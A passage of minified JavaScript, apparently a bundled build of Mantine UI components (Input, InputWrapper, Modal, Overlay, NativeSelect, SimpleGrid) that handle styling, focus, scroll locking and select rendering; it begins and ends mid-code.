e)er.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&et)for(var o of et(e))0>t.indexOf(o)&&eo.call(e,o)&&(r[o]=e[o]);return r};let ec={labelElement:"label",size:"sm",inputContainer:e=>e,inputWrapperOrder:["label","description","input","error"]},es=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("InputWrapper",ec,e),{className:a,label:i,children:l,required:s,id:f,error:d,description:u,labelElement:p,labelProps:m,descriptionProps:b,errorProps:y,classNames:h,styles:v,size:w,inputContainer:O,__staticSelector:x,unstyled:k,inputWrapperOrder:P,withAsterisk:j}=r,S=el(r,["className","label","children","required","id","error","description","labelElement","labelProps","descriptionProps","errorProps","classNames","styles","size","inputContainer","__staticSelector","unstyled","inputWrapperOrder","withAsterisk"]),{classes:E,cx:z}=J(null,{classNames:h,styles:v,name:["InputWrapper",x],unstyled:k}),C={classNames:h,styles:v,unstyled:k,size:w,__staticSelector:x},N=f?`${f}-error`:null==y?void 0:y.id,I=f?`${f}-description`:null==b?void 0:b.id,T=`${d&&"boolean"!=typeof d?N:""} ${u?I:""}`,D=T.trim().length>0?T.trim():void 0,L=i&&o.createElement(g,ea(ea({key:"label",labelElement:p,id:f?`${f}-label`:void 0,htmlFor:f,required:"boolean"==typeof j?j:s},C),m),i),A=u&&o.createElement(W,ei(ea(ea({key:"description"},b),C),{size:(null==b?void 0:b.size)||C.size,id:(null==b?void 0:b.id)||I}),u),$=o.createElement(o.Fragment,{key:"input"},O(l)),F="boolean"!=typeof d&&d&&o.createElement(R,ei(ea(ea({},y),C),{size:(null==y?void 0:y.size)||C.size,key:"error",id:(null==y?void 0:y.id)||N}),d),M=P.map(e=>{switch(e){case"label":return L;case"input":return $;case"description":return A;case"error":return F;default:return null}});return o.createElement(B,{value:ea({describedBy:D},function(e,{hasDescription:t,hasError:r}){let o=e.findIndex(e=>"input"===e),n=e[o-1],a=e[o+1];return{offsetBottom:t&&"description"===a||r&&"error"===a,offsetTop:t&&"description"===n||r&&"error"===n}}(P,{hasDescription:!!A,hasError:!!F}))},o.createElement(c.x,ea({className:z(E.root,a),ref:t},S),M))});es.displayName="@mantine/core/InputWrapper";var ef=r(7818),ed=Object.defineProperty,eu=Object.getOwnPropertySymbols,ep=Object.prototype.hasOwnProperty,em=Object.prototype.propertyIsEnumerable,eb=(e,t,r)=>t in e?ed(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ey=(e,t)=>{for(var r in t||(t={}))ep.call(t,r)&&eb(e,r,t[r]);if(eu)for(var r of eu(t))em.call(t,r)&&eb(e,r,t[r]);return e},eg=(e,t)=>{var r={};for(var o in e)ep.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&eu)for(var o of eu(e))0>t.indexOf(o)&&em.call(e,o)&&(r[o]=e[o]);return r};let eh={},ev=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("InputPlaceholder",eh,e),{sx:a}=r,i=eg(r,["sx"]);return o.createElement(c.x,ey({component:"span",sx:[e=>e.fn.placeholderStyles(),...(0,ef.R)(a)],ref:t},i))});ev.displayName="@mantine/core/InputPlaceholder";var ew=r(5227),eO=r(2756),ex=Object.defineProperty,ek=Object.defineProperties,eP=Object.getOwnPropertyDescriptors,ej=Object.getOwnPropertySymbols,eS=Object.prototype.hasOwnProperty,eE=Object.prototype.propertyIsEnumerable,eR=(e,t,r)=>t in e?ex(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ez=(e,t)=>{for(var r in t||(t={}))eS.call(t,r)&&eR(e,r,t[r]);if(ej)for(var r of ej(t))eE.call(t,r)&&eR(e,r,t[r]);return e},eC=(e,t)=>ek(e,eP(t)),eN=(e,t)=>{var r={};for(var o in e)eS.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&ej)for(var o of ej(e))0>t.indexOf(o)&&eE.call(e,o)&&(r[o]=e[o]);return r};let eI={rightSectionWidth:36,size:"sm",variant:"default"},eT=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("Input",eI,e),{className:a,invalid:i,required:l,disabled:s,variant:f,icon:d,style:u,rightSectionWidth:p,iconWidth:m,rightSection:b,rightSectionProps:y,radius:g,size:h,wrapperProps:v,classNames:w,styles:O,__staticSelector:x,multiline:k,sx:P,unstyled:j,pointer:S}=r,E=eN(r,["className","invalid","required","disabled","variant","icon","style","rightSectionWidth","iconWidth","rightSection","rightSectionProps","radius","size","wrapperProps","classNames","styles","__staticSelector","multiline","sx","unstyled","pointer"]),{offsetBottom:R,offsetTop:z,describedBy:C}=M(),{classes:N,cx:I}=(0,ew.Z)({radius:g,size:h,multiline:k,variant:f,invalid:i,rightSectionWidth:p,iconWidth:m,withRightSection:!!b,offsetBottom:R,offsetTop:z,pointer:S},{classNames:w,styles:O,name:["Input",x],unstyled:j}),{systemStyles:T,rest:D}=(0,eO.x)(E);return o.createElement(c.x,ez(ez({className:I(N.wrapper,a),sx:P,style:u},T),v),d&&o.createElement("div",{className:N.icon},d),o.createElement(c.x,eC(ez({component:"input"},D),{ref:t,required:l,"aria-invalid":i,"aria-describedby":C,disabled:s,className:I(N[`${f}Variant`],N.input,{[N.withIcon]:d,[N.invalid]:i,[N.disabled]:s})})),b&&o.createElement("div",eC(ez({},y),{className:N.rightSection}),b))});eT.displayName="@mantine/core/Input",eT.Wrapper=es,eT.Label=g,eT.Description=W,eT.Error=R,eT.Placeholder=ev;let eD=(0,a.F)(eT)},5227:function(e,t,r){r.d(t,{J:function(){return p}});var o=r(6817),n=Object.defineProperty,a=Object.defineProperties,i=Object.getOwnPropertyDescriptors,l=Object.getOwnPropertySymbols,c=Object.prototype.hasOwnProperty,s=Object.prototype.propertyIsEnumerable,f=(e,t,r)=>t in e?n(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,d=(e,t)=>{for(var r in t||(t={}))c.call(t,r)&&f(e,r,t[r]);if(l)for(var r of l(t))s.call(t,r)&&f(e,r,t[r]);return e},u=(e,t)=>a(e,i(t));let p={xs:30,sm:36,md:42,lg:50,xl:60};var m=(0,o.k)((e,{size:t,multiline:r,radius:o,variant:n,invalid:a,rightSectionWidth:i,withRightSection:l,iconWidth:c,offsetBottom:s,offsetTop:f,pointer:m})=>{let b=e.fn.variant({variant:"filled",color:"red"}).background,y="default"===n||"filled"===n?{minHeight:e.fn.size({size:t,sizes:p}),paddingLeft:e.fn.size({size:t,sizes:p})/3,paddingRight:l?i:e.fn.size({size:t,sizes:p})/3,borderRadius:e.fn.radius(o)}:null;return{wrapper:{position:"relative",marginTop:f?`calc(${e.spacing.xs}px / 2)`:void 0,marginBottom:s?`calc(${e.spacing.xs}px / 2)`:void 0},input:d(u(d(u(d({},e.fn.fontStyles()),{height:r?"unstyled"===n?void 0:"auto":e.fn.size({size:t,sizes:p}),WebkitTapHighlightColor:"transparent",lineHeight:r?e.lineHeight:`${e.fn.size({size:t,sizes:p})-2}px`,appearance:"none",resize:"none",boxSizing:"border-box",fontSize:e.fn.size({size:t,sizes:e.fontSizes}),width:"100%",color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,display:"block",textAlign:"left",cursor:m?"pointer":void 0}),y),{"&:disabled":{backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},"&::placeholder":u(d({},e.fn.placeholderStyles()),{opacity:1}),"&::-webkit-inner-spin-button, &::-webkit-outer-spin-button, &::-webkit-search-decoration, &::-webkit-search-cancel-button, &::-webkit-search-results-button, &::-webkit-search-results-decoration":{appearance:"none"},"&[type=number]":{MozAppearance:"textfield"}}),function({theme:e,variant:t}){return"default"===t?{border:`1px solid ${"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[4]}`,backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.white,transition:"border-color 100ms ease","&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:"filled"===t?{border:"1px solid transparent",backgroundColor:"dark"===e.colorScheme?e.colors.dark[5]:e.colors.gray[1],"&:focus, &:focus-within":e.focusRingStyles.inputStyles(e)}:{borderWidth:0,color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,backgroundColor:"transparent",minHeight:28,outline:0,"&:focus, &:focus-within":{outline:"none",borderColor:"transparent"},"&:disabled":{backgroundColor:"transparent","&:focus, &:focus-within":{outline:"none",borderColor:"transparent"}}}}({theme:e,variant:n})),withIcon:{paddingLeft:"number"==typeof c?c:e.fn.size({size:t,sizes:p})},invalid:{color:b,borderColor:b,"&::placeholder":{opacity:1,color:b}},disabled:{backgroundColor:"dark"===e.colorScheme?e.colors.dark[6]:e.colors.gray[1],color:e.colors.dark[2],opacity:.6,cursor:"not-allowed","&::placeholder":{color:e.colors.dark[2]}},icon:{pointerEvents:"none",position:"absolute",zIndex:1,left:0,top:0,bottom:0,display:"flex",alignItems:"center",justifyContent:"center",width:"number"==typeof c?c:e.fn.size({size:t,sizes:p}),color:a?e.colors.red["dark"===e.colorScheme?6:7]:"dark"===e.colorScheme?e.colors.dark[2]:e.colors.gray[5]},rightSection:{position:"absolute",top:0,bottom:0,right:0,display:"flex",alignItems:"center",justifyContent:"center",width:i}}});t.Z=m},6261:function(e,t,r){r.d(t,{k:function(){return y}});var o=r(4761),n=r(6289),a=r(2756),i=Object.defineProperty,l=Object.defineProperties,c=Object.getOwnPropertyDescriptors,s=Object.getOwnPropertySymbols,f=Object.prototype.hasOwnProperty,d=Object.prototype.propertyIsEnumerable,u=(e,t,r)=>t in e?i(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,p=(e,t)=>{for(var r in t||(t={}))f.call(t,r)&&u(e,r,t[r]);if(s)for(var r of s(t))d.call(t,r)&&u(e,r,t[r]);return e},m=(e,t)=>l(e,c(t)),b=(e,t)=>{var r={};for(var o in e)f.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&s)for(var o of s(e))0>t.indexOf(o)&&d.call(e,o)&&(r[o]=e[o]);return r};function y(e,t,r){let i=(0,o.N4)(e,t,r),{label:l,description:c,error:s,required:f,classNames:d,styles:u,className:y,unstyled:g,__staticSelector:h,sx:v,errorProps:w,labelProps:O,descriptionProps:x,wrapperProps:k,id:P,size:j,style:S,inputContainer:E,inputWrapperOrder:R,withAsterisk:z}=i,C=b(i,["label","description","error","required","classNames","styles","className","unstyled","__staticSelector","sx","errorProps","labelProps","descriptionProps","wrapperProps","id","size","style","inputContainer","inputWrapperOrder","withAsterisk"]),N=(0,n.M)(P),{systemStyles:I,rest:T}=(0,a.x)(C);return m(p({},T),{classNames:d,styles:u,unstyled:g,wrapperProps:p(p({label:l,description:c,error:s,required:f,classNames:d,className:y,__staticSelector:h,sx:v,errorProps:w,labelProps:O,descriptionProps:x,unstyled:g,styles:u,id:N,size:j,style:S,inputContainer:E,inputWrapperOrder:R,withAsterisk:z},k),I),inputProps:{required:f,classNames:d,styles:u,unstyled:g,id:N,size:j,__staticSelector:h,invalid:!!s}})}},3485:function(e,t,r){r.d(t,{u:function(){return U}});var o=r(7294),n=r(6289),a=r(5909),i=r(665);let l=({disableBodyPadding:e})=>{let t=e?null:function(){if("undefined"==typeof window||"undefined"==typeof document)return 0;let e=parseInt(window.getComputedStyle(document.body).paddingRight,10),t=window.innerWidth-document.documentElement.clientWidth;return e+t}(),r=`body { + --removed-scroll-width: ${t}px; + touch-action: none; + overflow: hidden !important; + position: relative !important; + ${t?"padding-right: var(--removed-scroll-width) !important;":""} + `;return r};var c=r(6362),s=r(3594),f=r(4761),d=r(6817),u=Object.defineProperty,p=Object.getOwnPropertySymbols,m=Object.prototype.hasOwnProperty,b=Object.prototype.propertyIsEnumerable,y=(e,t,r)=>t in e?u(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,g=(e,t)=>{for(var r in t||(t={}))m.call(t,r)&&y(e,r,t[r]);if(p)for(var r of p(t))b.call(t,r)&&y(e,r,t[r]);return e};let h={xs:320,sm:380,md:440,lg:620,xl:780};var v=(0,d.k)((e,{overflow:t,size:r,centered:o,zIndex:n,fullScreen:a})=>({close:{},overlay:{display:a?"none":void 0},root:{position:"fixed",zIndex:n,top:0,left:0,right:0,bottom:0},inner:{position:"absolute",top:0,left:0,right:0,bottom:0,overflowY:"auto",padding:a?0:`${2*e.spacing.xl}px ${e.spacing.md}px`,display:"flex",justifyContent:"center",alignItems:o?"center":"flex-start"},title:{marginRight:e.spacing.md,textOverflow:"ellipsis",display:"block",wordBreak:"break-word"},modal:g({position:"relative",width:a?"100vw":e.fn.size({sizes:h,size:r}),borderRadius:a?0:void 0,outline:0,backgroundColor:"dark"===e.colorScheme?e.colors.dark[7]:e.white,marginTop:o?"auto":void 0,marginBottom:o?"auto":void 0,zIndex:1},a?{position:"absolute",top:0,left:0,right:0,bottom:0,maxHeight:"100vh",overflowY:"auto"}:{}),header:{display:"flex",alignItems:"center",justifyContent:"space-between",marginBottom:e.spacing.md,marginRight:-9},body:{maxHeight:"inside"===t?"calc(100vh - 185px)":null,overflowY:"inside"===t?"auto":null,wordBreak:"break-word"}})),w=r(3143),O=r(2974),x=r(9068);function k({transitions:e,duration:t=250,exitDuration:r=t,mounted:n,children:a,timingFunction:i,onExit:l,onEntered:c,onEnter:s,onExited:f}){let{transitionDuration:d,transitionStatus:u,transitionTimingFunction:p}=(0,x.Y)({mounted:n,duration:t,exitDuration:r,timingFunction:i,onExit:l,onEntered:c,onEnter:s,onExited:f});if(0===d)return n?o.createElement(o.Fragment,null,a({})):null;if("exited"===u)return null;let m=Object.keys(e).reduce((t,r)=>(t[r]=(0,O.B)({duration:e[r].duration,transition:e[r].transition,timingFunction:e[r].timingFunction||p,state:u}),t),{});return o.createElement(o.Fragment,null,a(m))}k.displayName="@mantine/core/GroupedTransition";var P=r(4523),j=r(7818),S=r(8427),E=(0,d.k)((e,{zIndex:t})=>({root:{position:"absolute",top:0,bottom:0,left:0,right:0,zIndex:t}})),R=Object.defineProperty,z=Object.defineProperties,C=Object.getOwnPropertyDescriptors,N=Object.getOwnPropertySymbols,I=Object.prototype.hasOwnProperty,T=Object.prototype.propertyIsEnumerable,D=(e,t,r)=>t in e?R(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,L=(e,t)=>{for(var r in t||(t={}))I.call(t,r)&&D(e,r,t[r]);if(N)for(var r of N(t))T.call(t,r)&&D(e,r,t[r]);return e},A=(e,t)=>z(e,C(t)),$=(e,t)=>{var r={};for(var o in e)I.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&N)for(var o of N(e))0>t.indexOf(o)&&T.call(e,o)&&(r[o]=e[o]);return r};let W={opacity:.6,color:"#fff",zIndex:(0,s.w)("modal"),radius:0,blur:0},F=(0,o.forwardRef)((e,t)=>{let r=(0,f.N4)("Overlay",W,e),{opacity:n,blur:a,color:i,gradient:l,zIndex:c,radius:s,sx:d,unstyled:u,className:p}=r,m=$(r,["opacity","blur","color","gradient","zIndex","radius","sx","unstyled","className"]),{classes:b,cx:y}=E({zIndex:c},{name:"Overlay",unstyled:u}),g=l?{backgroundImage:l}:{backgroundColor:i},h=e=>o.createElement(P.x,L({ref:t,className:y(b.root,p),sx:[e=>A(L({},g),{opacity:n,borderRadius:e.fn.size({size:s,sizes:e.radius})}),...(0,j.R)(d)]},e));return a?o.createElement(P.x,L({className:y(b.root,p),sx:[{backdropFilter:`blur(${a}px)`},...(0,j.R)(d)]},m),h()):h(m)});F.displayName="@mantine/core/Overlay";let B=(0,S.F)(F);var M=r(2623),_=r(5117),H=r(4201),Y=Object.defineProperty,G=Object.getOwnPropertySymbols,V=Object.prototype.hasOwnProperty,X=Object.prototype.propertyIsEnumerable,q=(e,t,r)=>t in e?Y(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,K=(e,t)=>{for(var r in t||(t={}))V.call(t,r)&&q(e,r,t[r]);if(G)for(var r of G(t))X.call(t,r)&&q(e,r,t[r]);return e},Z=(e,t)=>{var r={};for(var o in e)V.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&G)for(var o of G(e))0>t.indexOf(o)&&X.call(e,o)&&(r[o]=e[o]);return r};let J={size:"md",transitionDuration:250,overflow:"outside",padding:"lg",shadow:"lg",closeOnClickOutside:!0,closeOnEscape:!0,trapFocus:!0,withCloseButton:!0,withinPortal:!0,lockScroll:!0,withFocusReturn:!0,overlayBlur:0,zIndex:(0,s.w)("modal"),exitTransitionDuration:0};function U(e){var t,r,s;let d=(0,f.N4)("Modal",J,e),{className:u,opened:p,title:m,onClose:b,children:y,withCloseButton:g,overlayOpacity:h,size:O,transitionDuration:x,exitTransitionDuration:j,closeButtonLabel:S,overlayColor:E,overflow:R,transition:z,padding:C,shadow:N,radius:I,id:T,classNames:D,styles:L,closeOnClickOutside:A,trapFocus:$,closeOnEscape:W,centered:F,target:Y,withinPortal:G,zIndex:V,overlayBlur:X,transitionTimingFunction:q,fullScreen:U,unstyled:Q,lockScroll:ee,withFocusReturn:et}=d,er=Z(d,["className","opened","title","onClose","children","withCloseButton","overlayOpacity","size","transitionDuration","exitTransitionDuration","closeButtonLabel","overlayColor","overflow","transition","padding","shadow","radius","id","classNames","styles","closeOnClickOutside","trapFocus","closeOnEscape","centered","target","withinPortal","zIndex","overlayBlur","transitionTimingFunction","fullScreen","unstyled","lockScroll","withFocusReturn"]),eo=(0,n.M)(T),en=`${eo}-title`,ea=`${eo}-body`,{classes:ei,cx:el,theme:ec}=v({size:O,overflow:R,centered:F,zIndex:V,fullScreen:U},{unstyled:Q,classNames:D,styles:L,name:"Modal"}),es=(0,a.P)($&&p),ef=(0,o.useRef)(null),ed=(0,i.Y)(es,ef),eu="number"==typeof h?h:"dark"===ec.colorScheme?.85:.75;!function(e,t={disableBodyPadding:!1}){let[r,n]=(0,o.useState)(e||!1),a=(0,o.useRef)(0),{disableBodyPadding:i}=t,c=(0,o.useRef)(null),s=()=>{var e;a.current=window.scrollY;let t=l({disableBodyPadding:i}),r=function(){let e=document.createElement("style");return e.type="text/css",e.setAttribute("mantine-scroll-lock",""),e}();(e=r).styleSheet?e.styleSheet.cssText=t:e.appendChild(document.createTextNode(t)),function(e){let t=document.head||document.getElementsByTagName("head")[0];t.appendChild(e)}(r),c.current=r},f=()=>{(null==c?void 0:c.current)&&(c.current.parentNode.removeChild(c.current),c.current=null)};(0,o.useEffect)(()=>(r?s():f(),f),[r]),(0,o.useEffect)(()=>{void 0!==e&&n(e)},[e]),(0,o.useEffect)(()=>{void 0===e&&"undefined"!=typeof window&&"hidden"===window.document.body.style.overflow&&n(!0)},[n])}(ee&&p);let ep=e=>{!$&&"Escape"===e.key&&W&&b()};(0,o.useEffect)(()=>{if(!$)return window.addEventListener("keydown",ep),()=>window.removeEventListener("keydown",ep)},[$]),(0,c.u)({opened:p,shouldReturnFocus:$&&et});let em=(0,o.useRef)(null);t="mousedown",r=e=>{em.current=e.target},(0,o.useEffect)(()=>(window.addEventListener(t,r,s),()=>window.removeEventListener(t,r,s)),[t,r]);let eb=()=>{em.current===ef.current&&A&&b()};return o.createElement(w.q,{withinPortal:G,target:Y},o.createElement(k,{mounted:p,duration:x,exitDuration:j,timingFunction:q,transitions:{modal:{duration:x,transition:z||(U?"fade":"pop")},overlay:{duration:x/2,transition:"fade",timingFunction:"ease"}}},e=>o.createElement(o.Fragment,null,o.createElement(P.x,K({id:eo,className:el(ei.root,u)},er),o.createElement("div",{style:e.overlay},o.createElement(B,{className:ei.overlay,sx:{position:"fixed"},zIndex:0,blur:X,color:E||("dark"===ec.colorScheme?ec.colors.dark[9]:ec.black),opacity:eu,unstyled:Q})),o.createElement("div",{role:"presentation",className:ei.inner,onClick:eb,onKeyDown:e=>{var t;let r=(null==(t=e.target)?void 0:t.getAttribute("data-mantine-stop-propagation"))!=="true";r&&"Escape"===e.key&&W&&b()},ref:ed},o.createElement(M.X,{className:ei.modal,shadow:N,p:C,radius:I,role:"dialog","aria-labelledby":en,"aria-describedby":ea,"aria-modal":!0,tabIndex:-1,style:e.modal,unstyled:Q,onClick:e=>e.stopPropagation()},(m||g)&&o.createElement("div",{className:ei.header},o.createElement(_.x,{id:en,className:ei.title},m),g&&o.createElement(H.P,{iconSize:16,onClick:b,"aria-label":S,className:ei.close})),o.createElement("div",{id:ea,className:ei.body},y)))))))}U.displayName="@mantine/core/Modal"},292:function(e,t,r){r.d(t,{p:function(){return B}});var o=r(7294),n=r(4761),a=Object.defineProperty,i=Object.getOwnPropertySymbols,l=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,s=(e,t,r)=>t in e?a(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,f=(e,t)=>{for(var r in t||(t={}))l.call(t,r)&&s(e,r,t[r]);if(i)for(var r of i(t))c.call(t,r)&&s(e,r,t[r]);return e},d=(e,t)=>{var r={};for(var o in e)l.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&i)for(var o of i(e))0>t.indexOf(o)&&c.call(e,o)&&(r[o]=e[o]);return r};let u={xs:14,sm:18,md:20,lg:24,xl:28};function p(e){var{size:t,error:r,style:a}=e,i=d(e,["size","error","style"]);let l=(0,n.rZ)(),c=l.fn.size({size:t,sizes:u});return o.createElement("svg",f({width:c,height:c,viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",style:f({color:r?l.colors.red[6]:l.colors.gray[6]},a),"data-chevron":!0},i),o.createElement("path",{d:"M4.93179 5.43179C4.75605 5.60753 4.75605 5.89245 4.93179 6.06819C5.10753 6.24392 5.39245 6.24392 5.56819 6.06819L7.49999 4.13638L9.43179 6.06819C9.60753 6.24392 9.89245 6.24392 10.0682 6.06819C10.2439 5.89245 10.2439 5.60753 10.0682 5.43179L7.81819 3.18179C7.73379 3.0974 7.61933 3.04999 7.49999 3.04999C7.38064 3.04999 7.26618 3.0974 7.18179 3.18179L4.93179 5.43179ZM10.0682 9.56819C10.2439 9.39245 10.2439 9.10753 10.0682 8.93179C9.89245 8.75606 9.60753 8.75606 9.43179 8.93179L7.49999 10.8636L5.56819 8.93179C5.39245 8.75606 5.10753 8.75606 4.93179 8.93179C4.75605 9.10753 4.75605 9.39245 4.93179 9.56819L7.18179 11.8182C7.35753 11.9939 7.64245 11.9939 7.81819 11.8182L10.0682 9.56819Z",fill:"currentColor",fillRule:"evenodd",clipRule:"evenodd"}))}var m=r(4201);function b({shouldClear:e,clearButtonLabel:t,onClear:r,size:n,error:a,clearButtonTabIndex:i}){return e?o.createElement(m.P,{variant:"transparent","aria-label":t,onClick:r,size:n,tabIndex:i,onMouseDown:e=>e.preventDefault()}):o.createElement(p,{error:a,size:n})}b.displayName="@mantine/core/SelectRightSection";var y=Object.defineProperty,g=Object.defineProperties,h=Object.getOwnPropertyDescriptors,v=Object.getOwnPropertySymbols,w=Object.prototype.hasOwnProperty,O=Object.prototype.propertyIsEnumerable,x=(e,t,r)=>t in e?y(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,k=(e,t)=>{for(var r in t||(t={}))w.call(t,r)&&x(e,r,t[r]);if(v)for(var r of v(t))O.call(t,r)&&x(e,r,t[r]);return e},P=(e,t)=>g(e,h(t)),j=(e,t)=>{var r={};for(var o in e)w.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&v)for(var o of v(e))0>t.indexOf(o)&&O.call(e,o)&&(r[o]=e[o]);return r};let S={xs:24,sm:30,md:34,lg:44,xl:54};var E=r(6261),R=r(4151),z=Object.defineProperty,C=Object.defineProperties,N=Object.getOwnPropertyDescriptors,I=Object.getOwnPropertySymbols,T=Object.prototype.hasOwnProperty,D=Object.prototype.propertyIsEnumerable,L=(e,t,r)=>t in e?z(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,A=(e,t)=>{for(var r in t||(t={}))T.call(t,r)&&L(e,r,t[r]);if(I)for(var r of I(t))D.call(t,r)&&L(e,r,t[r]);return e},$=(e,t)=>C(e,N(t)),W=(e,t)=>{var r={};for(var o in e)T.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&I)for(var o of I(e))0>t.indexOf(o)&&D.call(e,o)&&(r[o]=e[o]);return r};let F={size:"sm"},B=(0,o.forwardRef)((e,t)=>{let r=(0,E.k)("NativeSelect",F,e),{inputProps:a,wrapperProps:i,data:l,onChange:c,value:s,classNames:f,styles:d,rightSection:u,rightSectionWidth:p}=r,m=W(r,["inputProps","wrapperProps","data","onChange","value","classNames","styles","rightSection","rightSectionWidth"]),y=(0,n.rZ)(),g=l.map(e=>"string"==typeof e?{label:e,value:e}:e),h=g.map(e=>o.createElement("option",{key:e.value,value:e.value,disabled:e.disabled},e.label));return o.createElement(R.I.Wrapper,$(A({},i),{__staticSelector:"NativeSelect"}),o.createElement(R.I,A($(A(A({},a),m),{onChange:c,component:"select",ref:t,value:null===s?"":s,__staticSelector:"NativeSelect",pointer:"pointer"===y.cursorType}),function(e){var{styles:t,rightSection:r,rightSectionWidth:n,theme:a}=e,i=j(e,["styles","rightSection","rightSectionWidth","theme"]);if(r)return{rightSection:r,rightSectionWidth:n,styles:t};let l="function"==typeof t?t(a):t;return{rightSectionWidth:a.fn.size({size:i.size,sizes:S}),rightSection:!i.readOnly&&!(i.disabled&&i.shouldClear)&&o.createElement(b,k({},i)),styles:P(k({},l),{rightSection:P(k({},null==l?void 0:l.rightSection),{pointerEvents:i.shouldClear?void 0:"none"})})}}({theme:y,rightSection:u,rightSectionWidth:p,styles:d,shouldClear:!1,size:a.size,error:i.error,readOnly:!1})),h))});B.displayName="@mantine/core/NativeSelect"},3143:function(e,t,r){r.d(t,{q:function(){return u}});var o=r(7294),n=r(254),a=Object.defineProperty,i=Object.getOwnPropertySymbols,l=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,s=(e,t,r)=>t in e?a(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,f=(e,t)=>{for(var r in t||(t={}))l.call(t,r)&&s(e,r,t[r]);if(i)for(var r of i(t))c.call(t,r)&&s(e,r,t[r]);return e},d=(e,t)=>{var r={};for(var o in e)l.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&i)for(var o of i(e))0>t.indexOf(o)&&c.call(e,o)&&(r[o]=e[o]);return r};function u(e){var{withinPortal:t=!0,children:r}=e,a=d(e,["withinPortal","children"]);return t?o.createElement(n.h,f({},a),r):o.createElement(o.Fragment,null,r)}u.displayName="@mantine/core/OptionalPortal"},9814:function(e,t,r){r.d(t,{M:function(){return x}});var o=r(7294),n=r(4761),a=r(6817),i=Object.defineProperty,l=Object.getOwnPropertySymbols,c=Object.prototype.hasOwnProperty,s=Object.prototype.propertyIsEnumerable,f=(e,t,r)=>t in e?i(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,d=(e,t)=>{for(var r in t||(t={}))c.call(t,r)&&f(e,r,t[r]);if(l)for(var r of l(t))s.call(t,r)&&f(e,r,t[r]);return e},u=(0,a.k)((e,{spacing:t,breakpoints:r,cols:o,verticalSpacing:n})=>{let a=null!=n,i=(function(e,t){if(0===t.length)return t;let r="maxWidth"in t[0]?"maxWidth":"minWidth",o=[...t].sort((t,o)=>e.fn.size({size:o[r],sizes:e.breakpoints})-e.fn.size({size:t[r],sizes:e.breakpoints}));return"minWidth"===r?o.reverse():o})(e,r).reduce((r,o)=>{var i,l;let c="maxWidth"in o?"max-width":"min-width",s=e.fn.size({size:"max-width"===c?o.maxWidth:o.minWidth,sizes:e.breakpoints});return r[`@media (${c}: ${s-("max-width"===c?1:0)}px)`]={gridTemplateColumns:`repeat(${o.cols}, minmax(0, 1fr))`,gap:`${e.fn.size({size:null!=(i=o.verticalSpacing)?i:a?n:t,sizes:e.spacing})}px ${e.fn.size({size:null!=(l=o.spacing)?l:t,sizes:e.spacing})}px`},r},{});return{root:d({boxSizing:"border-box",display:"grid",gridTemplateColumns:`repeat(${o}, minmax(0, 1fr))`,gap:`${e.fn.size({size:a?n:t,sizes:e.spacing})}px ${e.fn.size({size:t,sizes:e.spacing})}px`},i)}}),p=r(4523),m=Object.defineProperty,b=Object.getOwnPropertySymbols,y=Object.prototype.hasOwnProperty,g=Object.prototype.propertyIsEnumerable,h=(e,t,r)=>t in e?m(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,v=(e,t)=>{for(var r in t||(t={}))y.call(t,r)&&h(e,r,t[r]);if(b)for(var r of b(t))g.call(t,r)&&h(e,r,t[r]);return e},w=(e,t)=>{var r={};for(var o in e)y.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&b)for(var o of b(e))0>t.indexOf(o)&&g.call(e,o)&&(r[o]=e[o]);return r};let O={breakpoints:[],cols:1,spacing:"md"},x=(0,o.forwardRef)((e,t)=>{let r=(0,n.N4)("SimpleGrid",O,e),{className:a,breakpoints:i,cols:l,spacing:c,verticalSpacing:s,children:f,unstyled:d}=r,m=w(r,["className","breakpoints","cols","spacing","verticalSpacing","children","unstyled"]),{classes:b,cx:y}=u({breakpoints:i,cols:l,spacing:c,verticalSpacing:s},{unstyled:d,name:"SimpleGrid"});return o.createElement(p.x,v({className:y(b.root,a),ref:t},m),f)});x.displayName="@mantine/core/SimpleGrid"},8623:function(e,t,r){r.d(t,{O:function(){return h}});var o=r(7294),n=r(4761),a=r(917),i=r(6817);let l=(0,a.F4)({"from, to":{opacity:.4},"50%":{opacity:1}});var 